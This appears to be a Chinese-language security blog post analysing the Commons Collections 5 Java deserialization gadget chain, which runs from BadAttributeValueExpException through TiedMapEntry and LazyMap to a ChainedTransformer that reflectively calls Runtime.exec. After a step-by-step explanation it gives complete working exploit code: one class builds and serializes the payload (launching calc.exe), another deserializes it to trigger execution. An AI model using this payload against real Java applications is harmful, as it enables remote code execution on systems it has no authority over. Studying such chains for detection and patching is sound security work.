这篇文章继续分析commonscollections5，由如下调用链可以看到此时最外层的类不是annotationinvoke，也不是priorityqueue了，变成了badattribute

该类要求没有配置security manager

首先在badAttribute的readObject中，调用了valObj.toString()，其中valObj中存储TiedMapEntry类的实例，即调用其tostring函数

 接着调用该类的getValue函数

而此时map存储的为lazymap，调用lazymap.get

调用lazymap.get中将调用this.factory的transform函数了，就又到了chainedtransform了

既然到了chainedTransformer，接下来就和cc1的利用一样了，通过一路反射进行rce

第一次Constant返回runtime类

第二次反射调用Runtime的getmethod函数，传入getruntime，返回method类型的getruntime

第三次反射调用getruntime返回runtime类实例

第四轮就可以反射进行rce了，此时反射调用runtime类的exec方法

首先构造chainedTransformer，以及内部的转换器，与cc1相同

接下来构造lazymap，传入chained转换链

接着构造tiedmapEntry存入lazymap,和一个任意的key值，实际上调用该类的getvalue即可调用该lazymap的get函数

 接下来构造最外层的badAttributeValue，赋值其val变量为tiedMapEntry，从而调用badAttribute的readObject时调用其tiedMapEntry的tostring

 最后反射替换chained中itransformer字段完成利用链的构造

exp.java

package CommonsCollections5;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class exp {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {
        //构造内部的转换链
        Transformer[] trans = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class,Object[].class},
                        new Object[]{null,null}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"calc.exe"})
        };
        ChainedTransformer chian = new ChainedTransformer(trans);

        HashMap map = new HashMap();
        Map innerMap = LazyMap.decorate(map,chian);
        //构造外部的触发链
        TiedMapEntry entry = new TiedMapEntry(innerMap, "tr1ple");

        BadAttributeValueExpException val  = new BadAttributeValueExpException(null);
        Field valField = val.getClass().getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(val,entry);

        //序列化
        File file;
        file =new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections5.ser");
        ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream(file));
        obj.writeObject(val);

    }
}

readObj.java

package CommonsCollections5;

import java.io.*;
import java.lang.Runtime;


public class readObj {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        File file;
        file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections5.ser");
        ObjectInputStream obj = new ObjectInputStream(new FileInputStream(file));
        obj.readObject();
    }
}